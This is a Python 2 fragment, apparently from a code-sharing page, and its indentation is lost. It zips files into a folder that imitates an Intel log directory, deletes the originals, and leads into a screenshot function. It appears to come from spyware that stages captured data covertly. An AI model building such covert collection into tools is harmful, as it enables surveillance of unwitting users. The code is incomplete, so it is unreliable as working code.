def ZipAttachments(f_name):
arch_name = "C:\Users\Public\Intel\Logs\\" + f_name + "Attachments"
files = os.listdir(dir_zip)
try:
shutil.make_archive(arch_name, 'zip', dir_zip)
except Exception as e:
pass
for j in range(len(files)):
try:
os.remove(dir_zip + "\\" + files[j])
except Exception as e:
print e
#Function to take screenshot
评论列表
文章目录